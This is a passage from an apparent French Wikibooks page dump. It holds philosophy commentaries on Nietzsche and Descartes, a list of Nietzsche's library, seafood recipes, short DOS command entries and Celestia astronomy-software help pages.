pas modifié en son fond de manière substantielle, dont l'existence n'aurait pas fondamentalement de dimension temporelle. La connaissance même que nous pouvons en avoir est soumise au devenir, au changement, au temps. Cette thèse a des conséquences qu'il s'agit d'établir correctement, et ''Humain, trop humain'' en est une étape importante qui sera largement poursuivie par toutes les oeuvres suivantes de Nietzsche. Une première étape consiste à modifier le vocabulaire de la philosophie, modification qui va également exprimer un changement dans le champ de déploiement de la pensée : en effet, la dimension historique de l'homme se traduit dans cette aphorisme par l'emploi de mots et d'expressions qui s'opposent au vocabulaire métaphysique : influence, modeler, événement, évolution humaine, résultat d'un devenir. L'emploi de ces mots se fait dans les thèses suivantes : *d'une manière générale, l'homme est le résultat d'un devenir ; *ce devenir commence bien avant l'histoire connue, autrement dit nous ignorons totalement l'essentiel du devenir humain ; *l'histoire connue (à peine 4000 ans) présente une humanité relativement stable ; *les facultés humaines sont elles-mêmes un résultat ; *l'homme est influencé et modelé par la religion et la politique, parfois de manière très éphémère ; *il n'y a ni données éternelles ni vérités éternelles. De là découle cette double conclusion : pour connaître l'homme, il faut établir une philosophie historique ; cette philosophie historique suppose de la modestie. En ce qui concerne la philosophie historique, il s'agit d'étudier l'être homme en tant que tel, c'est-à-dire selon deux axes : *en analysant les composants de ses sentiments et de ses idées ; *en décrivant leur histoire. Cette méthode met particulièrement en valeur l'étude morale des hommes ; contrairement à la métaphysique qui étudie des réalités en apparence très éloignées de la réalité quotidienne de l'être humain, Nietzsche souhaite une science morale qui fasse l'observation de tous les petits courants de la vie (ce point est détaillé par exemple dans le ''Gai Savoir'' : le rythme des jours - fêtes, travail, repos - les problèmes de l'alimentation sur le moral, les conséquences de la vie en communauté, l'étude des différentes moeurs selon le travail, etc.). Quant à la modestie, elle va être illustrée par Nietzsche dans l'aphorisme suivant avec le cas de la vérité. ==== § 3. Estime des vérités discrètes ==== Nietzsche a signalé dès le premier aphorisme la conséquence psychologique radicale de la réévaluation de l'humanité d'un point de vue historique. Sous une forme interrogative, il se demande en effet : faut-il être inhumain (alors que jusque là les philosophes furent trop humains) pour ''voir'' l'homme (ses sentiments et ses idées) et le monde (dénué de finalité) du point de vue de la philosophie historique ? L'aphorisme trois apporte quelques précisions en abordant le problème de la vérité. Pourtant, il y a ici un problème : s'il nous faut étudier l'homme d'un point de vue historique, celui qui l'étudie doit ''relativiser'' sa connaissance. En effet, Nietzsche vient de l'affirmer : ''il n'y a pas de vérité éternelle.'' Dès lors, peut-il y avoir des ''vérités discrètes'' ? Or, ici, au lieu de répondre à cette question qui vient naturellement à l'esprit, Nietzsche se dirige immédiatement vers une évaluation ''psychologique'' de la vérité. Ce sont d'autres aphorismes de cette même partie qui répondront à cette question du scepticisme de la connaissance liée à la question de la possibilité d'une véritable réfutation de la métaphysique. Mais nous pouvons dire cependant que Nietzsche commence déjà à répondre à cette question, en purifiant le concept de vérité de ses dimensions psychologiques injustifiées. Autrement dit, il dégage la question de la vérité de ce qui empêchait d'en poser véritablement la question, et nous avertit implicitement : pour comprendre exactement la philosophie historique, il faut commencer par admettre que les qualités humaines de la vérité sont égarantes et obscurcissent le problème. Ainsi, avant d'en venir à la métaphysique proprement dite, le regard doit se purifier, la pensée doit être claire. Il faut désobstruer ce chemin pollué par l'histoire de la pensée (philosophique, religieuse, morale), chemin qui mène au problème en tant que tel. Nietzsche commence par souligner le caractère modeste des vérités découvertes par une méthode rigoureuse. Ces vérités s'opposent aux conséquences psychologiques des erreurs humaines ; ces erreurs sont en effet : *éblouissantes, enthousiasmante ; *consolatrices et dispensatrices de bonheur ; *belles. Ces qualités sont à rapprocher du platonisme : le désir du bien qui fait la passion philosophique en excitant la recherche des vrais réalités, l'éclat et la beauté de la vérité, des Idées éternelles, la perspective d'une vie meilleure pour les justes évoquée dans le ''Phédon'', etc. Par opposition, on comprend que les vérités que Nietzsche veut soutenir risques de paraître ternes, qu'elles n'existent vraisemblablement pas l'intérêt, et qu'elles ne soulèvent pas les masses ; mais elles sont aussi irritantes, laides et repoussantes, tragiques. Nietzsche rejettera néanmoins plus loin toutes ses qualifications parce ce ne sont jamais que des mystifications, qu'il s'agisse d'optimisme ou de pessismisme. Ces qualifications ne pas en réalité l'essentiel de cet aphorisme, mais il s'agit plus fondamentalement de la modification du jugement à l'égard des vérités, modification qui est le résultat d'une spiritualisation et d'une plus grande intériorité des formes de notre vie. À ce stade de la reflexion, Nietzsche énonce le mot de toute sa pensée : intériorité. C'est ici notre thèse interprétative : toute la philosophie de Nietzsche est centrée sur le progrès de l'intériorisation des activités humaines, intériorisation qui est un appronfondissement de la vie de l'esprit, un enrichissement et embellissement de soi. Tout est alors résumé par cette formule : ''[...] combien un simple regard où brille l'esprit doit maintenant avoir pour nous tous plus de valeur que la plus belle proportion, que la plus sublime architecture.'' L'homme est oeuvre d'art, la plus sublime. La connaissance historique de l'homme proposée par Nietzsche va dans ce sens. Ainsi, paradoxalement, alors que les vérités discrêtes sont d'abord jugées laides, par une plus grande intellectualisation l'homme devient lui-même : *de plus en plus beau (harmonie, éclat de l'oeil intelligent), et même sublime (idée de grandeur, de noblesse, de force et de puissance) ; *de plus en plus profond et vaste (il faut s'assimiler toute la connaissance dira Nietzsche dans le ''Gai Savoir'') ; *de plus en plus riche. Ce processus est selon Nietzsche un enlaidissement aux yeux des époques antérieures. ==== Origine et nature des erreurs de la métaphysique ==== Ce problème capital pour la suite est abordé en 2, 4, 5, 7, 8, 9, 10, 11, etc. Pourquoi des explications métaphysiques ? *le langage comme pseudo-science ===== L'interprétation du rêve ===== Dans l'ensemble de l'œuvre de Nietzsche, le rêve a une place importante et multiforme. Dans cette première partie de ''Humain, trop humain'', le rêve est l'objet des aphorismes 5, 12 et 13. L'aphorisme 13 présente une explication pschychologique du rêve, appuyée par des aspects physiologiques. L'aphorisme 12 a une importance particulière, car il porte sur les différentes strates affectives et cognitives de l'homme qui justifient l'approche historique de l'homme proposée par Nietzsche dans le l'aphorisme 1. Enfin, l'aphorisme 5 montre que le rêve a rendu possible l'idée d'une seconde réalité. On remarque d'emblée que l'analyse du rêve recoupe toutes les analyses de la métaphysique ; bien plus, l'interprétation du rêve est une explication intégrale (conditions de possibilités, raisonnements logiques, fonction fabulatrice, etc.) de la pensée métaphysique et de toutes les inventions de l'esprit humain. Mais cette interprétation a également une dimension morale de première importante. Nous allons analyser à présent l'ensemble de ces dimensions. ==== Réévaluer le problème de la connaissance ==== *la place de l'illogique *la nécessité de l'erreur ==== Le problème de la finalité de la connaissance ==== *la philosophie est-elle tragique ? Puzzles 3886 30662 2006-01-28T16:22:50Z Adtech 1095 {{ébauche}} ==Puzzles mathématiques== * [[Puzzles : Puzzles Logiques|Puzzles Logiques]] ==Problèmes de la vie courante== ==Puzzles pour enfants== ==Liens== En français : * [http://www.pedagonet.com/other/enigme.html Puzzle pour enfants et adultes] En anglais * [http://rec-puzzles.org Archives de rez-puzzles.com] * [http://www.princeton.edu/~mathclub/puzzles.html Puzzles et Jeux de l'universtité de Princeton] * [http://results.about.com/riddles/ Résultats d'énigmes] [[en:Puzzles]] Humain, trop humain - II. Pour servir à l'histoire des sentimaux moraux 3888 15363 2005-06-05T15:46:20Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Humain, trop humain]]</center> |- | width="33%"|'''[[Humain, trop humain - I. Des principes et des fins|I. Des principes et des fins]]''' | width="34%" align="center"|'''[[Friedrich Nietzsche]]''' | width="33%" align="right"|'''[[Humain, trop humain - III. La vie religieuse|III. La vie religieuse]]''' |} La deuxième partie du livre est composée de 73 aphorismes (§ 35 à § 107). === § 35 à § 38 === Les premiers aphorismes posent la question de l'actualité et de l'utilité de l'observation psychologique, qui est, dit Nietzsche, une reflexion sur l'humain, trop humain. Image:1v5.gif 3889 15364 2005-06-05T17:59:41Z Antoinel 182 Degré de difficulté pour les recettes. Degré 1. {{GFDL}} Degré de difficulté pour les recettes. Degré 1. {{GFDL}} Image:2v5.gif 3890 15365 2005-06-05T18:02:29Z Antoinel 182 Degré de dufficulté pour les recettes de cuisine. Degré 2. {{GFDL}} Degré de dufficulté pour les recettes de cuisine. Degré 2. {{GFDL}} Image:3v5.gif 3891 15366 2005-06-05T18:04:05Z Antoinel 182 Degré de difficulté pour les recettes de difficulté. Degré 3. {{GFDL}} Degré de difficulté pour les recettes de difficulté. Degré 3. {{GFDL}} Image:4v5.gif 3892 15367 2005-06-05T18:05:16Z Antoinel 182 Degré de difficulté pour les recettes de cuisine. Degré 4. {{GFDL}} Degré de difficulté pour les recettes de cuisine. Degré 4. {{GFDL}} Image:5v5.gif 3893 15368 2005-06-05T18:06:14Z Antoinel 182 Degré de difficulté pour les recettes de cuisine. Degré 5. {{GFDL}} Degré de difficulté pour les recettes de cuisine. Degré 5. {{GFDL}} Ecce Homo - Humain, trop humain et deux suites 3895 42186 2006-05-13T13:50:01Z 83.201.86.97 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Ecce Homo]] - [[Humain, trop humain]]</center> |- | width="33%"| | width="34%" align="center"|'''[[Friedrich Nietzsche]]''' | width="33%" align="right"| |} L'explication par Nietzsche lui-même de la genèse de ''Humain, trop humain'' est l'une des plus longues de ''Ecce Homo''. Cette longueur se justifie par le tournant que l'oeuvre représente tant sur le plan philosophique que sur le plan biographique. À ce titre, Nietzsche nous livre des considérations qui s'entremêlent (la pensée n'est ainsi pas séparable de la vie), mais que l'on peut distinguer artificiellement pour s'en donner plus facilement une représentation aussi exacte que possible. Toutes ses considérations se ramènent à la nécessité de reprendre possession de soi afin de réaliser une tâche propre. Cette nécessité était déjà évoquée dans la troisième ''Considérations Inactuelles''. En premier lieu, Nietzsche explique que ce livre fut une libération de l'idéalisme, libération qui fait l'esprit libre. Le sous-titre de ''Humain, trop humain'' est en effet : ''Un livre pour esprit libre''. Le processus de libération est décrit comme une crise, par laquelle Nietzsche s'est dépouillé de tout ce qui n'était pas lui. Il précisera un peu plus loin cette pensée, mais il donne une indication essentielle : ce dont il se dépouille, d'une part est gelé par le mépris. Ce thème du gel est déjà développé dans la première partie de ''Humain, trop humain.'' D'autre part, ce qui est gelé, c'est : le génie, le saint, le héros, la pitié. Or, par ces termes, on comprend que Nietzsche vise ici Schopenhauer, et - de ce fait - Wagner. C'est justement du compositeur dont il va être question, ce qui implique des considérations d'ordre biographique, notamment parce que Nietzsche a cessé toute relation avec Wagner à l'époque de la publication de ''Humain, trop humain''. Ce dernier livre devient l'expression d'une opposition irréductible avec ''Parsifal'' et la culture allemande. De plus, dans la partie intitulé "le voyageur et son ombre", Nietzsche traduit ici sa propre expèrience de la décadence. '''[[Wikisource:Ecce Homo#Humain, trop humain et deux suites|Lire ce texte]]''' Ecce Homo 3896 17218 2005-07-22T12:06:47Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - Le XIXème siècle|Le XIXème siècle]]''' | width="34%" align="center"|'''[[Friedrich Nietzsche]]''' | width="33%" align="right"| |} '''[[Ecce Homo - Humain, trop humain et deux suites|Humain, trop humain et deux suites]]''' [[catégorie:Commentaire sur Nietzsche]] Volonté de puissance 3897 15372 2005-06-05T20:18:40Z Marc 66 #REDIRECT[[Nietzsche - La Volonté de Puissance]] Ainsi parlait Zarathoustra 3898 17219 2005-07-22T12:07:09Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - Le XIXème siècle|Le XIXème siècle]]''' | width="34%" align="center"|'''[[Friedrich Nietzsche]]''' | width="33%" align="right"| |} [[catégorie:Commentaire sur Nietzsche]] '''Ainsi parlait Zarathoustra - un livre pour tous et pour personne''' (ou '''Ainsi parla Zarathoustra''', ''Also sprach Zarathustra - Ein Buch für Alle und Keinen'' en allemand), ouvrage du philosophe [[Friedrich Nietzsche]]. == Plan de l'œuvre == === Première partie === *[http://wikisource.org/wiki/Ainsi_parlait_Zarathoustra%5CPremi%C3%A8re_partie#Le_prologue_de_Zarathoustra Le prologue de Zarathoustra] Les discours de Zarathoustra : *[http://wikisource.org/wiki/Ainsi_parlait_Zarathoustra%5CPremi%C3%A8re_partie#LES_TROIS_METAMORPHOSES Les trois métamorphoses] *Des chaires de vertu *Des hallucinés de l'arrière-monde *Des contempteurs du corps *Des joies et des passions *Du pâle criminel *Lire et écrire *De l'arbre sur la montagne *Des prédicateurs de la mort *De la guerre et des guerriers *De la nouvelle idole *Des mouches de la place publique *De la chasteté *De l'ami *Mille et un buts *De l'amour du prochain *Des voies du créateur *La vieille et la jeune femme *La morsure de la vipère *De l'enfant et du mariage *De la mort volontaire *De la vertu qui donne === Deuxième partie === *[http://wikisource.org/wiki/Ainsi_parlait_Zarathoustra%5CDeuxi%C3%A8me_partie#L.27ENFANT_AU_MIROIR L'enfant au miroir] *Sur les îles bienheureuses *Des miséricordieux *Des prêtres *Des vertueux *De la canaille *Des tarentules *Des sages illustres *Le chant de la nuit *Le chant de la danse *Le chant du tombeau *De la victoire sur soi-même *Des hommes sublimes *Du pays de la civilisation *De l'immaculée connaissance *Des savants *Des poètes *Des grands évènements *Le devin *De la rédemption *De la sagesse des hommes *L'heure la plus silencieuse === Troisième partie === *Le voyageur *De la vision et de l'énigme *De la béatitude involontaire *Avant le lever du soleil *De la vertu qui rapetisse *Sur le mont des oliviers *En passant *Des transfuges *Le retour *Des trois maux *De l'esprit de lourdeur *Des vieilles et des nouvelles tables *Le convalescent *Du grand désir *L'autre chant de la danse *Les sept sceaux === Quatrième partie === - L'offrande de miel - Le cri de détresse - Entretien avec les rois - La sangsue - Le magicien - Hors service - L'être humain le plus laid - Le mendiant volontaire - L'ombre - Midi - La salutation - La cène - De l'homme supérieur - Le chant de la mélancolie - De la science - Parmi les filles du désert - Le réveil - La fête de l'âne - Le chant de l'ivresse - Le signe Dir (MS-Dos) 3899 15374 2005-06-05T20:47:46Z Pulsar1 149 Dir (MS-Dos) déplacé vers Dir (DOS) #REDIRECT [[Dir (DOS)]] René Descartes 3901 31083 2006-02-01T08:43:06Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - La philosophie classique|'''3. Philosophie classique]]''' | width="34%" align="center"|'''René Descartes''' | width="33%" align="right"| |} {{wikisource}} '''Commentaires''' *[[Méditations Métaphysiques]] *[[René Descartes - Bibliographie|Bibliographie]] [[catégorie:Philosophe]] Méditations Métaphysiques - Des choses que l'on peut révoquer en doute 3902 15377 2005-06-05T20:54:45Z Marc 66 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>'''[[Histoire de la philosophie - La philosophie classique|'''3. Philosophie classique]]'''</center> |- | width="33%"|[[Méditations Métaphysiques]] | width="34%" align="center"|'''[[René Descartes]]''' | width="33%" align="right"|'''[[Méditations Métaphysiques - De la nature de l'esprit humain ; et qu'il est plus aisé à connaître que le corps|De la nature de l'esprit humain ; et qu'il est plus aisé à connaître que le corps]]''' |} :« Dans la première méditation, je mets en avant les raisons pour lesquelles nous pouvons douter généralement de toutes choses, et particulièrement des choses matérielles, au moins tant que nous n'aurons point d'autres fondements dans les sciences, que ceux que nous avons eus jusqu'à présent. Or, bien que l'utilité d'un doute si général ne paraisse pas d'abord, elle est toutefois en cela très grande, qu'il nous délivre de toutes sortes de préjugés, et nous prépare un chemin très facile pour accoutumer notre esprit à se détacher des sens, et enfin, en ce qu'il fait qu'il n'est pas possible que nous ne puissions plus avoir aucun doute, de ce que nous découvrirons après être véritable. » (''Abrégé'') Descartes commence par remarquer que depuis son plus jeune âge, il a appris bons nombres de choses qu'il sait aujourd'hui fausses mais qu'il tenait alors pour vraies. Tout ce qu'il a construit sur la base de ces erreurs ne peut donc qu'être faux, et il est donc impératif de tout reprendre à la racine. Cette première remarque, dont la formulation peut sembler d'abord anodine, contient tout le radicalisme de la [[méthode]] cartésienne : en effet, si depuis notre plus jeune âge, du fait que notre raison ne s'est pas encore développée, nous apprenons des choses dont les fondements sont pour le moins douteux, cela signifie que, sans l'examen sérieux de notre faculté de connaître, nos raisonnements sont faux ou incertains. La condition habituelle de l'homme est donc de vivre dans l'illusion du savoir. Descartes dit avoir remis cet examen difficile à un [[temps]] où il serait en mesure de le faire ; les ''Méditations Métaphysiques'' sont l'expression que ce temps est venu de ''détruire'' toutes les opinions anciennes. Mais par quelles opinions l'examen va-t-il pouvoir commencer ? On n'arriverait jamais à les examiner une à une pour montrer leur fausseté, la tâche est interminable. Il pourrait néanmoins suffir qu'il s'y trouve la moindre [[raison]] de douter ; mais il y a plus radical : détruire les fondements, le reste s'écroulera. Descartes commence alors à examiner ce qui, jusqu'à présent, a été tenu par lui pour le plus certain : ce que l'on apprend des [[sens]] ou par les sens. Mais les sens nous trompent quelques fois, et la méthode recommande donc de ne plus s'y fier. Néanmoins, certains témoignages des sens paraissent vraiment solides, tel que le fait d'être là, en train d'écrire, et d'autres choses de ce genre. Or, il n'y a que les fous qui imaginent être ce qu'ils ne sont pas, faire des choses qu'ils ne font pas, etc., et le doute sur ces réalités paraît proprement insensé. Cet état de la folie, pourtant, n'est-ce pas le nôtre dans le rêve ? Dans le rêve nous sommes parfois plus insensés que les insensés lorsqu'ils sont éveillés. C'est pourquoi, dit Descartes, il se peut très bien que je sois en train de rêver que j'écris ; et je ne trouve pas de critères certains qui me permettent de distinguer le rêve et la veille. Supposons que nous dormons ; tout ce que nous voyons ne sera qu'illusion. Mais ce qui est alors dans nos représentations ne doit-il pas être formé à la ressemblance de quelque chose de réel ? Les parties de notre corps ne sont pas des choses imaginaires, mais existantes. Comparons avec la peinture : un peintre qui représente des êtres imaginaires ne peut pas inventer des formes absolument nouvelles ; son invention réside dans la composition et le mélange de choses qui sont réelles (même si ce n'est que la couleur). Même si les membres du corps sont imaginaires, il faut qu'il y ait des choses simples et universelles dont tout le reste (imaginaire ou réelle) soit composé. Descartes cite, comme exemple de ces choses, l'étendue, la grandeur, le [[temps]], etc. En conséquence, les sciences qui ont pour objets des compositions sont douteuses (physique, astronomie, médecine) mais pas les sciences qui portent sur des objets simples, même si l'on ne sait si ces objets existent ; telles sont la géométrie et l'arithmétique. En effet, que je dorme ou que je veille, je sais que 2+2 = 4. Je ne peux douter de certitudes de ce genre. Pourtant, nous pouvons former l'idée d'un [[Dieu]] tout puissant qui nous a crée. Or, rien ne nous garantit que ce Dieu n'ait fait qu'il n'existe rien en dehors de nous de ce que nous voyons, et que nous soyons pourtant convaincu qu'il existe un ciel, une terre, etc. Bien plus, puisque nous pouvons nous tromper même dans les choses les plus simples, qu'est-ce qui empêche que nous ayons été crées en sorte de nous tromper toujours, en étant persuadés du contraire ? René Descartes - Bibliographie 3904 26704 2005-12-11T06:06:24Z 216.239.81.180 {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - La philosophie classique|'''3. Philosophie classique]]''' | width="34%" align="center"|'''[[René Descartes]]''' | width="33%" align="right"| |} *Alain, « Étude sur Descartes », dans ''Idées, Introduction à la philosophie'', Gallimard, 1932, nouvelle éd., Flammarion, collection Champs, 1983, pp. 89-163 *Alquié (Ferdinand), ''La Découverte métaphysique de l’homme chez Descartes'', PUF, 1950, nouvelle éd., collection Épiméthée, 2000 *Baillet (Adrien), ''Vie de Monsieur Descartes'' (1e éd., 2 tomes, Paris, chez Daniel Horthemels, 1691), réimpressions : Olms, New York, 1972 ; La Table Ronde, collection La Petite Vermillon, 1992 (reprint de l’édition de 1693 : Abrégé de la Vie de Monsieur Des-Cartes) *Belaval (Yvon), ''Leibniz critique de Descartes'', Gallimard, 1961, nouvelle éd., collection Tel, 1997 *Beyssade (Jean-Marie), ''La Philosophie première de Descartes'' ; Le Temps et la cohérence de la métaphysique, Flammarion, collection Nouvelle bibliothèque scientifique, 1979 *Beyssade (Jean-Marie), ''Études sur Descartes ; L’histoire d’un esprit'', Seuil, coll. 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Type (DOS) 3908 15381 2005-06-05T21:50:44Z Pulsar1 149 ==Description== '''TYPE''' est la '''commande interne''' qui permet d'afficher le contenu des fichiers. ==Utilisation== '''TYPE''' [Lecteur][Chemin]Nom de fichier. [[Catégorie:DOS]] Bibliothèque (Nietzsche) 3909 15382 2005-06-06T07:00:21Z Marc 66 /* L */ {| border="0" cellpadding="0" width="100%" style="background: #f9f9f9" | colspan="3" height="25"|<center>[[Histoire de la philosophie]]</center> |- | width="33%"|'''[[Histoire de la philosophie - Le XIXème siècle|Le XIXème siècle]]''' | width="34%" align="center"|'''[[Friedrich Nietzsche]]''' | width="33%" align="right"| |} Liste non exhaustive des livres de la bibliothèque de Nietzsche {{SommaireCompact}} == A == *Albert, Paul, ''La littérature française au XIX siècle'' (Paris, 1876) *Alfieri, Vittorio, ''Filippo'' *Augustinus, Aurelius, ''De musica'' == B == *Baker, Samuel White, ''The Albert Nyanza, Great Basin of the Nile, and Explorations of the Nile Sources'' (London, 1866) *Balzac, Honoré de, ''Correspondance 1819-1850'', in Œuvres complètes XXIV (Paris, 1876) *Barbey d'Aurevilly, Jules, ''Les œuvres et les hommes'', Bd. 8 : ''Sensations d'histoire'' (Paris, 1886) *Baudelaire, Charles, ''Les Fleurs du Mal'', ''Œuvres posthumes'' et ''Correspondance inédites'', précédées d'une étude biographique par E. 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E., ''Poétes et Mélodes'' *Brandes, Georg, ''Die romantische Schule in Deutschland'' (Leipzig, 1887) *Brandes, Georg, ''Emile Zola'' *Brandes, Georg, ''Moderne Geister: literarische Bildnisse aus dem neunzehnten Jahrhundert'' (Frankfurt am Main, 1882) *Brochard, Victor, ''Les Sceptiques Grecs'' (Paris, 1887) *Brosses, Charles de, ''Mémoires'' (1858) *Brugsch, Heinrich, ''Religion und Mythologie der alten Ägypter: nach den Denkmälern'' (Leipzig, 1885) *Buckle, Henry Thomas, ''Geschichte der Civilization in England'' *Bunge, Gustav, ''Vitalismus und Mechanismus'' *Burckhardt, Jacob, ''Der Cicerone. Eine Anleitung zum Genuss der Kunstwerke Italiens'' (Leipzig, 1869) *Burckhardt, Jacob, ''Die Kultur der Renaissance in Italien'' (Leipzig, 1869) *Byron, Lord, ''Vermischte Schriften, Briefwechsel und Lebensgeschichte'' 3 vols. hg. von Ernst Ortlepp (Stuttgart) == C == *Carey, Henry Charles, ''Lehrbuch der Volkswirthschaft und Sozialwissenschaft'', übersetzt von K. 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(Paris, 1878) *Doudan, Ximénès, ''Pensées et fragments suivis des révolutions du goût'' (Paris, 1881) *Dreher, Eugen, ''Der Darwinismus und seine Konsequenzen in wissenschaftlicher und sozialer Beziehung'' (Halle, 1882) *Dühring, Eugen, ''Cursus der Philosophie als streng wissenschaftlicher Weltanschauung und Lebensgestaltung'' (Leipzig, 1875) *Dühring, Eugen, ''Der Werth des Lebens. Eine philosophische Betrachtung'' (Breslau, 1865) *Dühring, Eugen, ''Sache, Leben und Feinde'' (Karlsruhe und Leipzig, 1882) *Duncker, Max, ''Geschichte des Altertums'' vol. 2: ''Die Staatsleitung des Pericles'' (Leipzig, 1886) == E == *Ebeling, Ernst, ''Darstellung und Beurteilung der religions-philosophischen Lehren J. G. Fichtes.'' Hallenser Dissertation (Halle, 1886) *Eckermann, Johann Peter, ''Gespräche mit Goethe'' (Leipzig, 1868) *Emerson, Ralph Waldo, ''Versuche'' aus dem Englischen von G. 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Über den Ursprung des Brahmanismus (Basel: 1877) Wagner, Richard Gesammelte Schriften und Dichtungen (Leipzig: 1872) 9 vols. HTML in German Entwürfe, Gedanken, Fragmente: Aus nachgelassenen Papieren zusammen-gestellt (Leipzig: 1885) Wellhausen, Julius Prolegomena zur Geschichte Israels (Berlin: 1883) TXT in English Reste des arabischen Heidentums (Berlin:1887) Skizzen und Vorarbeiten (Berlin: 1887) Widemann, Paul Heinrich Erkennen und Sein, Lösung des Problems des Idealen und Realen, zugleich eine Erörterung des richtigen Ausgangspunktes und der Prinzipien der Philosophie (1885) Windisch, Ernst Iti-vuttaka Wittmer, Gustav Die Festspiele von Bayreuth, ihre religiöse, künstlerische und nationale Bedeutung (Leipzig: 1888) Ziegler, Theobald Geschichte der Ethik Zöllner, Johann Carl Friedrich Über die Natur der Kometen. Beiträge zur Geschichte und Theorie der Erkenntniss (Leipzig: 21872) Modèle:SommaireCompact 3910 15383 2005-06-06T06:56:44Z Marc 66 __NOTOC__ {| class="toc" align="center" style="background-color:#F0F0F0; border:1px solid #a0a0a0; text-align: center; font-family: sans-serif; font-size: 0.8em" |- style="background:#E0E0E0; text-align:center; padding:0.2em;" ! Accès direct dans l'index alphabétique |- style="padding:0.2em;" | [[#A|A]] [[#B|B]] [[#C|C]] [[#D|D]] [[#E|E]] [[#F|F]] [[#G|G]] [[#H|H]] [[#I|I]] [[#J|J]] [[#K|K]] [[#L|L]] [[#M|M]] [[#N|N]] [[#O|O]] [[#P|P]] [[#Q|Q]] [[#R|R]] [[#S|S]] [[#T|T]] [[#U|U]] [[#V|V]] [[#W|W]] [[#X|X]] [[#Y|Y]] [[#Z|Z]] |} Cuisine:Tartare de loup et saumon 3911 15384 2005-06-06T15:58:57Z Antoinel 182 == Ingrédients pour 4 personnes == * 500 g. de filet de [[w:Loup (poisson)|loup]] (attention le « filet de loup » généralement vendu sous la dénomination tolérée de « filet de loup de l'Atlantique » ou « filet de loup de mer », n'est pas du bar. Pour avoir du « vrai » loup choisissez plutôt le poisson entier) coupé en petits dés * 200 g. de saumon fumé coupé en petits dés * 2 citrons * 5 échalotes hâchées * 1 jaune d'œuf * 2 cuillers à soupe d'huile * 1 cuiller à café de moutarde * 2 cuillers à café de vinaigre * 1 cuiller à soupe de câpres hâchés * sel et poivre du moulin == Ustensiles == * un saladier * un bol == Préparation == * Dans un saladier, mélangez les petits dés du loup et du saumon, et préservez le tartare au frais dans le réfrigérateur. * Dans un bol, mélangez le jaune d'œuf, l'huile, le vinaigre, le jus des citrons, salez et poivrez. * Incorporez dans le mélange du bol, les échalotes et les câpres hâchés, mélangez bien et laissez reposer au réfrigérateur pendant au moins 2 heures, en vérifiant de temps en temps l'assaissonnement. * Servez très frais le tartare ---- Retour aux [[Cuisine:Recettes de la mer|recettes de la mer]] / au [[Livre_de_Cuisine|sommaire]] ---- Cuisine:Thon cru à la tahitienne 3912 15385 2005-06-06T16:02:23Z Antoinel 182 ==Ingrédients (pour 6 personnes)== * 1 kg de thon frais, sans peau ni arêtes, coupé en dés * 2 carottes rapées * 2 tomates coupées en petits morceaux * le jus de 8 citrons verts * 3 petits oignons vert * 1 gousse d'ail écrasé * 1 petit concombre * 1 lait de noix de coco rapée. ==Préparation== - Temps estimé 50 minutes # Couper le thon en dés et le rincer à l'eau salée. # Laisser tremper 30 minutes au réfrigérateur dans l'eau salée additionnée d'ail écrasé ; # Couper les légumes : carottes, tomates, concombres. # Égoutter le poisson et laisser « cuire » 5 minutes dans le jus de citron ; # Jeter le jus de citron restant ; # Ajouter les légumes, le lait de coco, saler et poivrer ; # bien mélanger et servir très frais, accompagné d'une julienne de concombre, mangue et papaye. ---- Retour aux [[Cuisine:Recettes de la mer|recettes de la mer]] / au [[Livre_de_Cuisine|sommaire]] ---- Celestia:Bookmarks 3914 15386 2005-06-09T20:31:33Z 83.198.11.145 [[Celestia]]|Celestia:Signets ---- Une '''Cel:URL''' est un raccourci internet spécial qui vous permet d'afficher instantanément dans votre [[Celestia]] la même vue, à la même époque, avec les options fixées par celui qui en est l'auteur. Ces '''Cel:URL''' peuvent être collée dans un document [[w:HTML|HTML]] (page Web ou message) pour partager des vues entre utilisateurs de [[Celestia]]. Si vous voulez partager une vue affichée avec votre [[Celestia]] tapez '''Ctrl-Inser''' puis collez la ensuite dans votre document [[w:HTML|HTML]] Par exemple si [http://www.shatters.net/celestia/download.html Celestia 1.32] est installée sur votre machine, en copiant/collant le texte : '''cel://Chase/Sol:Mars:Phobos/2005-05-22T19:00:27.52955?x=c1jg2mI+zhrJDA&y=N8F7mUo0TFL//////////w&z=jQc5xj1hTvwS&ow=0.958608&ox=0.086863&oy=0.271125&oz=0.004218&select=Sol:Mars:Phobos&fov=35.847923&ts=1.000000&ltd=0&rf=37635&lm=0''' dans la barre d'adresse de votre [[w:Navigateur Internet|Navigateur Internet]] vous verrez [[w:Phobos_(lune)|Phobos]] près de [[w:Mars_(planète)|Mars]] apparaître dans votre [[Celestia]]. [[Image:Phobos et Mars (Celestia).jpeg|left|thumb|Phobos et Mars par Celestia]] ---- <small>Ces '''Cel:URL''' semblent cependant fonctionner différemment d'une version de [[Celestia]] à l'autre, et Wikipédia ne me semble pas permettre de les créer directement comme raccourci Internet.</small> Celestia:Getting Started 3915 15387 2005-06-12T11:44:55Z JihemD 346 syntaxe lien [[Celestia]]|Celestia:Pour débuter ---- == La rotation terrestre et l'étoile polaire == Pour cela un grand champ de vision est nécessaire - utilisez les touche (''',''') et ('''.''') pour l'ajuster à environ 60°. Si vous n'êtes pas près de la [[w:Terre|Terre]], pressez les Touches '''H3G''' pour y aller puis prenez un peu de distance avec la touche '''Fin'''.Réglez le nombre d'[[w:étoiles|étoiles]] visible avec les touches '''[''' et ''']''', en limitant leur [[w:magnitude|magnitude]] aux alentours de 5. Accélérez l'écoulement du [[w:temps|temps]] 1000 fois ('''LLL''') pour voir la [[w:Terre|Terre]] pivoter lentement. Remarquez la révolution terrestre qui explique l'alternance du jour et de la nuit. Vous pouvez observer un point précis de la Terre et le voir passer de la lumière à l'ombre (le jour et la nuit) à cause de la rotation terrestre. Pressez sur 